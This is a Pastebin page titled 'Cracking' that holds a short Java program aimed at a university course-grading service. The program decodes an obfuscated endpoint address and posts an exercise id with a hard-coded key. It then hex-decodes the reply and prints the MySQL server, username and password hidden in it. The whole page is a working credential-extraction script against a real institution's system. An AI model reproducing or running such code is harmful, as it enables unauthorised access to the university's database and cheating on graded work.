Nasty

Cracking

Dec 5th, 2013
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 3.66 KB | None | 0 0
  1. import java.io.BufferedReader;
  2. import java.io.DataOutputStream;
  3. import java.io.InputStreamReader;
  4. import java.net.HttpURLConnection;
  5. import java.net.URL;
  6. import java.nio.ByteBuffer;
  7. import java.nio.CharBuffer;
  8. import java.nio.charset.Charset;
  9.  
  10.  
  11. public class Cracking {
  12.    
  13.     public static String key = "74d2efb6010c5cf790f36840908906cd6636ab09c526c49b9f7b7a179a37caac106ec3dfff9e83477a9d7af50e0e7f0afeb3e0224452a8a05a5a519835c0f80a";
  14.     public static String exid = "1006";
  15.    
  16.     public static void main(String[] args) {
  17.         // view-source:http://users.dsic.upv.es/asignaturas/etsinf/iip/corrector.php?astype=1&exid=1006&pas=29751&l=C
  18.         String s = sendRequest();
  19.         ConInformation c = null;
  20.         try {
  21.             c = new ConInformation(s, Integer.parseInt(exid));
  22.         } catch (NumberFormatException e) {
  23.             e.printStackTrace();
  24.         } catch (Exception e) {
  25.             e.printStackTrace();
  26.         }
  27.         System.out.println("Servidor mysql: " + c.ser);
  28.         System.out.println("Nombre: " + c.nam);
  29.         System.out.println("Clave: " + c.pas);
  30.     }
  31.    
  32.     private static String sendRequest() {
  33.         String s = null;
  34.         String s1 = identify("KTQWQWOVAHBEBEXWJWPSCWJWUDISJWRTBSUDXWOVEXUDPSJWBENRJWRTDTAVNRQWXWCWNRJWBEPSQWJWRTAVWSBEPSISNRBEEXNRMURTISNRQWPSUDOVKTOV");
  35.         try {
  36.             URL url = new URL(s1); // http://users.dsic.upv.es/asignaturas/etsinf/eda/validate.php
  37.             HttpURLConnection httpurlconnection = (HttpURLConnection)url.openConnection();
  38.             httpurlconnection.setRequestMethod("POST");
  39.             httpurlconnection.setRequestProperty("User-Agent", "Mozilla/5.0");
  40.             httpurlconnection.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
  41.             String s2 = (new StringBuilder()).append("exid=").append(exid).append("&key=").append(key).toString();
  42.             httpurlconnection.setDoOutput(true);
  43.             DataOutputStream dataoutputstream = new DataOutputStream(httpurlconnection.getOutputStream());
  44.             dataoutputstream.writeBytes(s2);
  45.             dataoutputstream.flush();
  46.             dataoutputstream.close();
  47.             BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(httpurlconnection.getInputStream()));
  48.             StringBuilder stringbuilder = new StringBuilder();
  49.             stringbuilder.append(httpurlconnection.getResponseCode()).append(";");
  50.             String s3;
  51.             while((s3 = bufferedreader.readLine()) != null)
  52.                 stringbuilder.append(s3);
  53.             bufferedreader.close();
  54.             s = stringbuilder.toString();
  55.         }
  56.         catch(Exception exception) { }
  57.         return s;
  58.     }
  59.    
  60.     private static String identify(String s) {
  61.         String s1 = "";
  62.         for(int i = 0; i < s.length(); i += 2)
  63.             s1 = (new StringBuilder()).append(s1).append(identifyChar(s.substring(i, i + 2))).toString();
  64.         return s1;
  65.     }
  66.    
  67.     private static char identifyChar(String s) {
  68.         int i = s.charAt(0) - 65;
  69.         int j = s.charAt(1) - 65;
  70.         int k = (26 * j + i) / 7;
  71.         return (char)(k + 32);
  72.     }
  73.    
  74.     public static class ConInformation {
  75.        
  76.         private static String hex2bin(String s) {
  77.             ByteBuffer bytebuffer = ByteBuffer.allocate(s.length() / 2);
  78.             for(int i = 0; i < s.length(); i += 2)
  79.                 bytebuffer.put((byte)Integer.parseInt(s.substring(i, i + 2), 16));
  80.             bytebuffer.rewind();
  81.             Charset charset = Charset.forName("US-ASCII");
  82.             CharBuffer charbuffer = charset.decode(bytebuffer);
  83.             return charbuffer.toString();
  84.     }
  85.        
  86.         public String ser;
  87.         public String nam;
  88.         public String pas;
  89.        
  90.         public ConInformation(String s, int i) throws Exception {
  91.             s = s.split(";")[1];
  92.             String s1 = hex2bin(s);
  93.             String as[] = s1.split(";");
  94.             ser = as[0];
  95.             nam = as[1];
  96.             pas = as[2];
  97.         }
  98.        
  99.     }
  100.    
  101. }
Add Comment
Please, Sign In to add comment